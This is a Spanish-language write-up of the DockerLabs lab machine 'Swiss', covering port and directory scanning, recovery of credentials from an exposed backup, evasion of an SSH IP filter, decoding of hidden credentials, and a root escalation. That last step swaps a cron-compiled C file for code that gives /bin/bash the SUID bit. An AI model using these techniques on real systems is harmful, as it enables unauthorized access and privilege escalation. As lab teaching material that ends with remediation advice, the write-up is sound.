Swiss
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Swiss, desarrollada por darksblack para DockerLabs y clasificada como Medio.
El objetivo es explicar cada fase del compromiso del sistema, desde la enumeración inicial hasta la escalada final a root, destacando las vulnerabilidades explotadas:
- Reconocimiento: Identificación de servicios, rutas y archivos expuestos.
- Explotación: Obtención de acceso mediante un archivo de credenciales oculto dentro de un backup.
- Escalada de privilegios: Aprovechamiento de contraseñas antiguas, información codificada y mala configuración de scripts SUID.
Todo el proceso se realizó dentro del entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Swiss |
| Autor | darksblack |
| Dificultad | Medio |
| Fecha | 17/11/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip Swiss.zipsudo bash auto_deploy.sh Swiss.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Swiss/{content,exploits,nmap,gobuster,scripts}cd Swiss1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Probamos Feroxbuster para enumeración de directorios:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Rutas relevantes encontradas
/index.html— Portafolio personal
/scripts— Scripts de funcionamiento del sitio./docencia/credentials.txt— Archivo descubierto solo con diccionario extendido, pero su contenido no es visible desde el navegador.
Dado que credentials.txt devuelve un archivo descargable, procedemos a obtenerlo con wget.
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Descargamos el archivo:
wget http://172.17.0.2/credentials.txtAl intentar abrirlo se observa que está corrupto o ilegible. Verificamos su formato:
file credentials.txtResultado: archivo .tar.
Lo renombramos y extraemos:
mv credentials.txt backup.tartar -xf backup.tarDentro del backup encontramos:
- Estructuras del sitio web.
- Un archivo sensible:
confidencial.php

Este archivo contiene credenciales válidas:
Usuario: darksContraseña: ********Sin embargo, al intentar iniciar sesión por SSH aparece:
CONNECTION RESETEsto indica que el servicio SSH tiene un filtro por IP.
Bypass del filtro SSH
Sección titulada «Bypass del filtro SSH»Para evadir esta restricción, se debe cambiar la IP de la interfaz docker0 repetidamente hasta encontrar una permitida.
Se automatiza con un script que prueba rangos y detecta cuando logra conexión.
Luego de varias pruebas, se obtiene acceso SSH como el usuario darks:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De darks → carlos
Sección titulada «3.1 De darks → carlos»Encontramos un archivo sospechoso:

La pista menciona una contraseña de hace 24 años.
Buscamos archivos antiguos:
find / -type f -mtime +8700 2>/dev/null
Encontramos:
/home/darks/inhackeable_pass.txtEste archivo contiene la contraseña del usuario carlos, por lo que accedemos:

3.2 De carlos → cristal
Sección titulada «3.2 De carlos → cristal»Analizamos un binario interesante:
/var/www/sendinv2Inspeccionamos cadenas legibles:
strings /var/www/sendinv2
Se observa una cadena codificada. Tras analizarla, identificamos que está en:
- Base32 → Base64
Decodificación:
echo -n "MFDTS42ZKNCWOYZSHF2GEM2NM..." | base32 -d | base64 -d
Esto revela credenciales del usuario cristal, por lo que accedemos con:

3.3 De cristal → root
Sección titulada «3.3 De cristal → root»Dentro del home encontramos:

Hay:
- Un archivo
systm.c - Un script que lo compila periódicamente con permisos de root
Aprovechamos la tarea automatizada sustituyendo systm.c por uno malicioso:
#include <stdio.h>#include <stdlib.h>#include <sys/stat.h>#include <unistd.h>
int main() { const char *bash_path = "/bin/bash";
chown(bash_path, 0, 0); chmod(bash_path, 04755);
printf("[+] /bin/bash ahora tiene SUID.\n"); return 0;}Una vez que el cron compila el archivo, ejecutamos:
bash -pY obtenemos acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Archivos sensibles expuestos públicamente (
credentials.txt). - Backups accesibles sin autenticación.
- Credenciales almacenadas en texto plano.
- Restricción SSH basada solo en rango IP.
- Presencia de archivos antiguos con información sensible.
- Codificación débil en el binario
sendinv2. - Script de compilación con permisos root sin validación.
- Tarea automatizada ejecutando código modificable por usuarios sin privilegios.
Recomendaciones
Sección titulada «Recomendaciones»- Restringir acceso al directorio web y eliminar backups públicos.
- Implementar autenticación real para archivos sensibles.
- Usar llaves SSH en lugar de contraseñas.
- Configurar firewall en vez de filtrado manual por IP.
- Evitar contraseñas antiguas o sin rotación.
- Compilar binarios en ubicaciones protegidas.
- No ejecutar cronjobs como root sobre archivos modificables por usuarios.